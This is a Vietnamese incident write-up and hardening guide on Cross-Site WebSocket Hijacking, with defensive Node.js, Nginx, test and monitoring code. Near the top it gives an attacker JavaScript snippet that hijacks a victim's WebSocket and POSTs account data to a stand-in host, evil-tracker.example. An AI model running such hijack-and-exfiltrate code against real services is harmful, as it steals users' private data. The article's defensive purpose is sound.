Bối cảnh & Lý do: Vụ xâm nhập WebSocket lúc 2 giờ sáng
Vào lúc 2:14 sáng thứ Ba tuần trước, bảng điều khiển PagerDuty của chúng tôi sáng rực với 47 cảnh báo chỉ trong vòng chưa đầy hai phút. Bảng điều khiển khớp lệnh giao dịch đang làm rò rỉ sổ cái tài khoản riêng tư tới các dải IP liên kết với một trang web cá cược ở nước ngoài. Cơ sở dữ liệu hoàn toàn không có vấn đề gì. Không ai chèn mã độc vào các gói frontend, log của API gateway đều trả về mã 200 sạch sẽ, và toàn bộ phiên đăng nhập của người dùng đều hoàn toàn hợp lệ.
Chúng tôi đang phải đối mặt với tấn công Cross-Site WebSocket Hijacking (CSWSH). Các cơ chế bảo vệ tiêu chuẩn như Same-Origin Policy (SOP) có thể bảo vệ các lệnh gọi fetch và XMLHttpRequest thông thường, nhưng chúng lại không áp dụng cho quá trình bắt tay (handshake) của WebSocket. Một nhà giao dịch đã đăng nhập đã mở một trang web độc hại ở tab thứ hai. Trang web đó ngay lập tức kích hoạt kết nối WebSocket ngược trở lại endpoint phát dữ liệu của chúng tôi (wss://api.example.com/stream).
Vì các trình duyệt tự động đính kèm thông tin xác thực sẵn có như session cookie vào các yêu cầu cross-origin, backend của chúng tôi đã chấp nhận bắt tay mà không hề nghi ngờ bên gọi. Chỉ trong vài giây, kẻ tấn công đã chiếm quyền điều khiển một socket song công (full-duplex), truyền trực tiếp luồng dữ liệu sổ lệnh (order-book) nhạy cảm từ các kênh pub/sub nội bộ của chúng tôi.
Cách CSWSH vượt qua các lớp phòng thủ tiêu chuẩn của trình duyệt
Cơ chế phòng thủ CSRF trên các ứng dụng web tiêu chuẩn thường dựa vào các HTTP header tùy chỉnh hoặc token ẩn trong phần body của yêu cầu POST. WebSocket lại hoạt động theo cách khác. Kết nối khởi đầu bằng một yêu cầu HTTP GET upgrade thông thường. Khi chỉ sử dụng xác thực bằng cookie—đặc biệt là với SameSite=None hoặc các thiết lập mặc định lỏng lẻo trước đây—trình duyệt sẽ tự động đính kèm session cookie. Kẻ tấn công vận hành trang evil-tracker.example chỉ cần vài dòng JavaScript:
// Thực thi trên https://evil-tracker.example/
const ws = new WebSocket('wss://api.yourdomain.com/v1/feed');
ws.onopen = () => {
ws.send(JSON.stringify({ action: 'dump_account_snapshot' }));
};
ws.onmessage = (event) => {
fetch('https://evil-tracker.example/collect', {
method: 'POST',
body: event.data
});
};
Trình duyệt tự động gửi session cookie mà không cần sự tương tác nào từ người dùng. Nếu máy chủ của bạn bỏ qua việc kiểm tra header Origin và không yêu cầu token kết nối ngẫu nhiên khó đoán, bạn đã vô tình mở toang cánh cửa cho kẻ tấn công truy cập trực tiếp vào tài khoản của nạn nhân.
Cài đặt: Thiết lập cơ chế bảo vệ WebSocket bằng Token
Để bịt lỗ hổng này cần thực hiện hai việc: loại bỏ cơ chế xác thực cookie thụ động trong quá trình bắt tay và thực thi kiểm tra origin nghiêm ngặt. Chúng tôi đã triển khai kiến trúc ticket tạm thời (ephemeral ticket) trên toàn bộ các microservice Node.js và Redis, được củng cố bởi một edge proxy bảo mật.
Bắt đầu bằng việc cài đặt các gói cốt lõi để xử lý kết nối, các tiện ích mã hóa và lưu trữ cache:
# Cài đặt các dependency để tạo ticket và xử lý WebSocket
npm install ws ioredis crypto helmet
Các đội ngũ sử dụng stack Python hoặc FastAPI có thể cài đặt các thư viện tương đương:
pip install websockets redis fastapi uvicorn
Trong quá trình khắc phục sự cố, chúng tôi đã luân chuyển (rotate) toàn bộ secret ký session, thông tin xác thực cơ sở dữ liệu và service token trên 14 microservice nội bộ. Khi cần tạo thông tin xác thực có độ hỗn loạn (entropy) cao trong lúc xử lý sự cố, tôi tin dùng công cụ tạo mật khẩu tại toolcraft.app/vi/tools/security/password-generator để tạo mật khẩu máy chủ.
Công cụ này hoạt động hoàn toàn phía client ngay trong trình duyệt. Không có khóa hay seed nào bị truyền qua mạng, giúp loại bỏ nguy cơ vô tình làm rò rỉ vào proxy log hoặc hệ thống giám sát (observability pipeline) khi bạn đang chịu áp lực vá lỗi môi trường production.
Cấu hình: Thực thi kiểm tra Origin nghiêm ngặt và bắt tay bằng Ephemeral Ticket
Để ngăn chặn CSWSH cần thiết lập ba lớp bảo vệ: xác thực header Origin khi bắt tay, yêu cầu ticket tạm thời dùng một lần và loại bỏ các proxy header không đáng tin cậy tại Nginx.
Bước 1: Kiểm tra nghiêm ngặt Header Origin
Các trình duyệt luôn tự chèn header Origin không thể giả mạo trong bước HTTP Upgrade. Không giống như các client dòng lệnh như curl, trình duyệt không bao giờ cho phép JavaScript phía client can thiệp vào header này. Máy chủ của bạn cần lập tức hủy bỏ bất kỳ kết nối bắt tay nào thiếu header Origin hoặc có giá trị không nằm trong whitelist.
Dưới đây là đoạn mã bảo vệ bắt tay Node.js trên môi trường production của chúng tôi, sử dụng thư viện ws và Redis:
const http = require('http');
const WebSocket = require('ws');
const url = require('url');
const Redis = require('ioredis');
const redis = new Redis(process.env.REDIS_URL);
const server = http.createServer();
const wss = new WebSocket.Server({ noServer: true });
const ALLOWED_ORIGINS = new Set([
'https://app.yourdomain.com',
'https://admin.yourdomain.com'
]);
server.on('upgrade', async (request, socket, head) => {
const origin = request.headers['origin'];
// 1. Kiểm tra Origin nghiêm ngặt
if (!origin || !ALLOWED_ORIGINS.has(origin.toLowerCase())) {
socket.write('HTTP/1.1 403 Forbidden\r\n\r\n');
socket.destroy();
console.warn(`[BỊ CHẶN] Phát hiện hành vi CSWSH từ origin không hợp lệ: ${origin}`);
return;
}
// 2. Trích xuất ticket dùng một lần từ query params
const { query } = url.parse(request.url, true);
const ticket = query.ticket;
if (!ticket || typeof ticket !== 'string' || ticket.length !== 64) {
socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
socket.destroy();
return;
}
// 3. Tiêu thụ ticket một cách nguyên tử (Redis 6.2+ GETDEL ngăn ngừa race condition)
const userId = await redis.getdel(`ws_ticket:${ticket}`);
if (!userId) {
socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
socket.destroy();
return;
}
// Hoàn tất quá trình bắt tay WebSocket
wss.handleUpgrade(request, socket, head, (ws) => {
ws.userId = userId;
wss.emit('connection', ws, request);
});
});
wss.on('connection', (ws) => {
ws.send(JSON.stringify({ status: 'connected', user: ws.userId }));
});
server.listen(8443, () => {
console.log('Daemon WebSocket bảo mật đang lắng nghe trên cổng 8443');
});
Bước 2: Cấp phát Ephemeral Ticket dùng một lần
Tuyệt đối không truyền session cookie cố định hoặc API token trong URL của WebSocket. Các chuỗi query string sẽ lưu dưới dạng văn bản thuần (plain text) trong lịch sử trình duyệt, các proxy trung gian và access log của máy chủ. Thay vào đó, hãy yêu cầu client đã xác thực gửi yêu cầu lấy ticket dùng một lần với vòng đời ngắn qua giao thức HTTPS bằng phương thức POST. Cơ chế CORS và token CSRF tiêu chuẩn sẽ bảo vệ lệnh gọi khởi đầu đó.
// Route Express bên trong HTTP API đã được xác thực của bạn
const crypto = require('crypto');
app.post('/api/v1/ws-ticket', ensureAuthenticated, async (req, res) => {
// Tạo token 256-bit an toàn về mặt mật mã học
const ticket = crypto.randomBytes(32).toString('hex');
// Lưu trữ ticket với TTL nghiêm ngặt trong 15 giây
await redis.set(`ws_ticket:${ticket}`, req.user.id, 'EX', 15);
return res.json({ ticket, expiresIn: 15 });
});
Client sẽ yêu cầu ticket này ngay trước khi thiết lập kết nối socket:
async function connectSecureWebSocket() {
const res = await fetch('/api/v1/ws-ticket', {
method: 'POST',
credentials: 'same-origin'
});
if (!res.ok) throw new Error(`Lấy ticket thất bại: ${res.status}`);
const { ticket } = await res.json();
const socket = new WebSocket(`wss://api.yourdomain.com/feed?ticket=${ticket}`);
socket.onmessage = (event) => {
console.log('Đã nhận sự kiện luồng dữ liệu:', event.data);
};
}
Bước 3: Tăng cường bảo mật cho Reverse Proxy Nginx
Reverse proxy của bạn phải chuyển tiếp chính xác header Origin thực của client tới ứng dụng, đồng thời tắt tính năng buffering để đảm bảo độ trễ thấp. Dưới đây là cấu hình Nginx đã qua kiểm nghiệm thực tế cho luồng dữ liệu thời gian thực của chúng tôi:
map $http_upgrade $connection_upgrade {
default upgrade;
'' close;
}
server {
listen 443 ssl http2;
server_name api.yourdomain.com;
ssl_certificate /etc/ssl/certs/yourdomain.crt;
ssl_certificate_key /etc/ssl/private/yourdomain.key;
location /feed {
proxy_pass http://127.0.0.1:8443;
proxy_http_version 1.1;
# Các header upgrade WebSocket tiêu chuẩn
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $connection_upgrade;
# Giữ nguyên origin của client và ngữ cảnh mạng
proxy_set_header Host $host;
proxy_set_header Origin $http_origin;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Tối ưu hóa cho thời gian thực
proxy_buffering off;
proxy_read_timeout 60s;
proxy_send_timeout 60s;
}
}
Kiểm tra & Giám sát: Kiểm thử hệ thống phòng thủ và phát hiện bắt tay trái phép
Không bao giờ triển khai các quy tắc bảo mật lên production mà chưa kiểm thử kỹ lưỡng cả kịch bản hợp lệ lẫn bất hợp lệ trên môi trường staging.
Mô phỏng khai thác CSWSH bằng Python
Chạy script chẩn đoán này từ bên ngoài mạng nội bộ để mô phỏng kẻ tấn công nhắm mục tiêu vào endpoint socket của bạn từ một origin trái phép:
import asyncio
import websockets
async def simulate_attack():
target_url = "wss://api.yourdomain.com/feed?ticket=invalid_or_expired_token"
rogue_origin = "https://attacker-domain.com"
print(f"[*] Đang kích hoạt bắt tay với origin giả mạo: {rogue_origin}")
try:
# Truyền Origin không đáng tin cậy vào extra headers
async with websockets.connect(
target_url,
additional_headers={"Origin": rogue_origin}
) as ws:
print("[!] NGUY HIỂM: Bắt tay thành công. Máy chủ dính lỗ hổng CSWSH!")
await ws.send("probe_payload")
except websockets.exceptions.InvalidStatusCode as err:
if err.status_code == 403:
print("[+] ĐẠT: Bị từ chối với 403 Forbidden. Kiểm tra Origin hoạt động tốt.")
elif err.status_code == 401:
print("[+] ĐẠT: Bị từ chối với 401 Unauthorized. Kiểm tra ticket hoạt động tốt.")
else:
print(f"[?] Nhận được mã trạng thái: {err.status_code}")
except Exception as e:
print(f"[+] Kết nối bắt tay bị hủy đúng như kỳ vọng: {e}")
asyncio.run(simulate_attack())
Audit Log và Quy tắc cảnh báo Prometheus
Ghi log mọi lượt bắt tay thất bại dưới dạng JSON có cấu trúc để phát hiện sớm các chiến dịch tấn công trước khi chúng gây ra thiệt hại:
{
"timestamp": "2026-10-18T10:55:00Z",
"event": "websocket_handshake_rejected",
"reason": "invalid_origin",
"origin": "https://malicious-site.example",
"client_ip": "198.51.100.42",
"user_agent": "Mozilla/5.0..."
}
Trong Prometheus, hãy theo dõi các kết nối bắt tay bị từ chối trên toàn bộ cụm máy chủ. Nếu các origin xấu tăng đột biến vượt quá 5 lượt mỗi giây, hãy gửi thông báo ngay cho kỹ sư trực ca (on-call):
groups:
- name: websocket_security_alerts
rules:
- alert: HighCrossSiteWebSocketRejections
expr: sum(rate(websocket_handshake_rejected_total[2m])) > 5
for: 1m
labels:
severity: critical
annotations:
summary: "Số lượng từ chối bắt tay CSWSH tăng cao"
description: "Có hơn 5 lượt bắt tay WebSocket không hợp lệ mỗi giây trong 2 phút qua."
Việc kết hợp kiểm tra nghiêm ngặt header Origin với cơ chế ticket dùng một lần trong 15 giây sẽ loại bỏ hoàn toàn bề mặt tấn công CSWSH. Các socket thời gian thực của bạn sẽ duy trì được tốc độ cao, được xác thực chặt chẽ và đảm bảo tính riêng tư.

